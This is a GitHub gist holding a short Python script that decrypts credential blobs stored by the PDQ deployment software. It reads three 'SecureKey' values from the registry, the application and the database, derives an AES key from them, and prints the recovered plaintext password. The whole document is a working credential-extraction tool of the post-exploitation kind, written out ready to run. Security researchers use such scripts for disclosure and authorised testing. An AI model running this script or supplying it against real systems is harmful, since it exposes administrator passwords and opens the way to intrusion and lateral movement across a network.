Skip to content

Instantly share code, notes, and snippets.

@garrettfoster13
Created April 11, 2025 19:13
Show Gist options
  • Save garrettfoster13/ed0c6edf77e96430ea6a0c361b8f8b6c to your computer and use it in GitHub Desktop.
Save garrettfoster13/ed0c6edf77e96430ea6a0c361b8f8b6c to your computer and use it in GitHub Desktop.
decrypting PDQ creds
import hashlib
import struct
import argparse
from Crypto.Cipher import AES #pip install pycryptodome
def decrypt(blob, key):
"""Decrypt PDQ credential blobs"""
#Format for the blob is [header][ivlen][iv][encdata]
#Example blob: 28656e63727970746564290010644d18eb7817dad6de5f531b1b0b60113087662f3cf0ffdaa7760418c15ee6ea
#Example blob: [28656e637279707465642900][10][644d18eb7817dad6de5f531b1b0b6011][3087662f3cf0ffdaa7760418c15ee6ea]
#Header: 28656e637279707465642900
#IVlen: 10
#IV 644d18eb7817dad6de5f531b1b0b6011
#encdata: 3087662f3cf0ffdaa7760418c15ee6ea
encrypted_data = bytearray.fromhex(blob)
header = b"(encrypted)\0"
if not encrypted_data.startswith(header):
print("Missing (encrypted) header for PDQ blob")
exit()
#trim the header and skip the IV length, IV length should always be 16 (10 in hex) until they change it?
data = encrypted_data[len(header):]
iv_length = data[0]
if iv_length != 16:
print(f"Warning: Unexpected IV length: {iv_length} (expected 16)")
iv = data[1:1+iv_length]
encdata = data[1+iv_length:]
#encryption key is first 16 bytes of sha256 hash of the 3 combined guids
key_hash = hashlib.sha256(key.encode('utf-8')).digest()
aes_key = key_hash[:16]
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(encdata)
#first 4 bytes of decrypted bytes are password length
try:
plaintext_length = struct.unpack("<I", decrypted[:4])[0]
if 0 < plaintext_length <= len(decrypted) - 4:
plaintext = decrypted[4:4+plaintext_length]
result = plaintext.decode('utf-8')
print(f"[+] Got result: {result}")
except Exception as e:
print(e)
def main():
parser = argparse.ArgumentParser(description="PDQ decrypt")
parser.add_argument("-r", "--regkey", action="store", help="SecureKey from registry")
parser.add_argument("-a", "--appkey", action="store", help="SecureKey from application")
parser.add_argument("-d", "--dbkey", action="store", help="SecureKey from database")
parser.add_argument("-b", "--blob", action="store", help="Hex encoded credential blob")
args = parser.parse_args()
key = args.appkey + args.dbkey + args.regkey
decrypt(args.blob, key)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment